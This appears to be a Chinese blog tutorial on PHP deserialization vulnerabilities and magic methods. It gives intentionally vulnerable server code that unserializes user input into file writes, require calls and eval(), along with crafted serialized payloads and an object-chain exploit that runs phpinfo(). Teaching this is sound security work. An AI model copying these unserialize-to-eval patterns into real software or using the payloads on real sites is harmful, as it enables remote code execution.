【反序列化】PHP反序列化漏洞与防御

0x01 概述

什么是php反序列化漏洞呢?简单的来说,就是在php反序列化的时候,反序列化的内容是用户可控,那么恶意用户就可以构造特定序列化内容的代码,通过unserialize()函数进行特定的反序列化操作,并且程序的某处存在一些敏感操作是写在类中的,那么就可以通过这段恶意代码,达到执行攻击者想要的操作。

在了解php反序列化漏洞之前,需要了解一下php序列化和反序列化的相关知识。

0x02 PHP序列化与反序列化

<?php
class Test{
    public $var = "This is a test";

    public function PrintVar(){
        echo this -> $var;
    }
}

$obj = new Test();
$obj->PrintVar();
?>

运行后

magic 函数

php面向对象变成中,有一类函数叫做magic function,魔术函数,这些函数是以__(双下划线)开头的,他们是一些当依照某些规则实例化类或者调用某些函数的时候会自动调用这些magic函数,这里说一下比较常见的例如__construct,__destory,
__sleep,__wakeup,__toString函数。

  1. __construct()
    __contstruct()函数被称为构造函数,当实例化类的时候会自动调用该函数

  2. __destruct()
    __destruct()函数被称为析构函数,当类结束的时候自动调用该函数

  3. __sleep()
    __sleep()函数是当php进行序列化操作(serialize)的时候自动调用该函数,可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容,则 NULL 被序列化,并产生一个 E_NOTICE 级别的错误。

  4. __wakeup()
    __wakeup()函数是当php进行反序列化操作(unserialize)的时候自动调用该函数

  5. __toString()
    __toString()函数是当对象被当做字符串的时候会自动调用该函数

例如:

运行后结果:

私有成员与被保护成员变量的特殊性
当类中的成员变量是私有的或者被保护的,那么会产生一些特殊的情况

运行结果:

我们可以看到,在序列化后得到的序列化代码中,私有成员变量name前加了一个User,被保护变量成员age的前面加了一个,并且明明Username长度为8,但是却显示的是10;同样,明明age的长度为4,但却显示的是6。
查阅php手册发现,当成员变量是私有的时候,会在成员变量前面添加类名;当成员变量是被保护的时候,会在被保护成员前面添加一个,并且,所添加的类名或者的左右两边都会有一个null字节,因此,这两个长度都增加了2。

0x03 PHP反序列化漏洞

  1. __wakeup()或__destruct()的利用场景

假设服务器的代码如下:

<?php 
class Test{
    var $test = "123";
    function __wakeup(){
        $fp = fopen("test.php", 'w');
        fwrite($fp, $this -> test);
        fclose($fp);
    }
}

$test1 = $_GET['test'];
print_r($test1);
echo "<br />";
$seri = unserialize($test1);

require "test.php";

?>

我们可以在本地搭建环境,编写exp之后用serialize函数进行序列化,得到payload,如:

O:4:"Test":1:{s:4:"test";s:18:"<?php%20phpinfo();?>";}
  1. 其他Magic Function情况

当unserialize的时候不是直接在wakup魔术方法中利用,比如在construct之类的,也是有利用价值的。譬如,当wakup中又调用了别的对象,那么我们就可以进行回溯去找,也许也可以利用到。例如:

<?php 
class Test1{
    function __construct($test){
        $fp = fopen("shell.php", "w");
        fwrite($fp, $test);
        fclose($fp);
    }
}

class Test2{
    var $test = "123";
    function __wakeup(){
        $obj = new Test1($this -> test);
    }
}

$test = $_GET['test'];
unserialize($test);

require "shell.php";
?>
  1. 普通情况

当危险代码存在类的普通方法中,就不能指望通过“自动调用”来达到目的了。这时可以寻找相同的函数名,把敏感函数和类联系在一起。

<?php 
class Test1{
    var $test1;
    function __construct(){
        $this->test1 = new Test2();
    }

    function __destruct(){
        $this->test1->action();
    }
}

class Test2{
    function action(){
        echo "Test2";
    }
}

class Test3{
    var $test3;
    function action(){
        eval($this->test3);
    }
}

$test = new Test1();
unserialize($_GET['test']);
?>

这里我们可以利用Test3中的action函数中的eval函数做一些事情。

class Test1{
    var $test1;
    function __construct(){
        $this->test1 = new Test3();
    }

    function __destruct(){
        $this->test1->action();
    }
}

class Test3{
    var $test3 = "phpinfo();";
}

echo serialize(new Test1());

得到 O:5:"Test1":1:{s:5:"test1";O:5:"Test3":1:{s:5:"test3";s:10:"phpinfo();";}}

0x04 参考文献

https://chybeta.github.io/2017/06/17/%E6%B5%85%E8%B0%88php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 216,039评论 6 498
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,223评论 3 392
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 161,916评论 0 351
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,009评论 1 291
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,030评论 6 388
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,011评论 1 295
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,934评论 3 416
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,754评论 0 271
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,202评论 1 309
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,433评论 2 331
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,590评论 1 346
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,321评论 5 342
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,917评论 3 325
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,568评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,738评论 1 268
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,583评论 2 368
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,482评论 2 352

推荐阅读更多精彩内容

  • 0x00 序列化和反序列化 简单的理解:序列化就是使用serialize()将对象的用字符串的方式进行表示,反序列...
    漏斗社区阅读 4,140评论 3 13
  • Php:脚本语言,网站建设,服务器端运行 PHP定义:一种服务器端的HTML脚本/编程语言,是一种简单的、面向对象...
    廖马儿阅读 2,137评论 2 38
  • JAVA序列化机制的深入研究 对象序列化的最主要的用处就是在传递,和保存对象(object)的时候,保证对象的完整...
    时待吾阅读 10,862评论 0 24
  • 最近轰动世界最大的新闻,莫过于林肯公园的主唱自杀了。并且爆料出,他自杀前深受酗酒与毒品的困扰,原因是童年的一段不堪...
    榕树下的野兔子阅读 549评论 0 0
  • 我在高中刚开始的时候,很迷茫,很无措,我没有好朋友。为了不让别人觉得自己特失败,我每天早上在别人起床是就已经走了,...
    果儿_c5dc阅读 253评论 0 0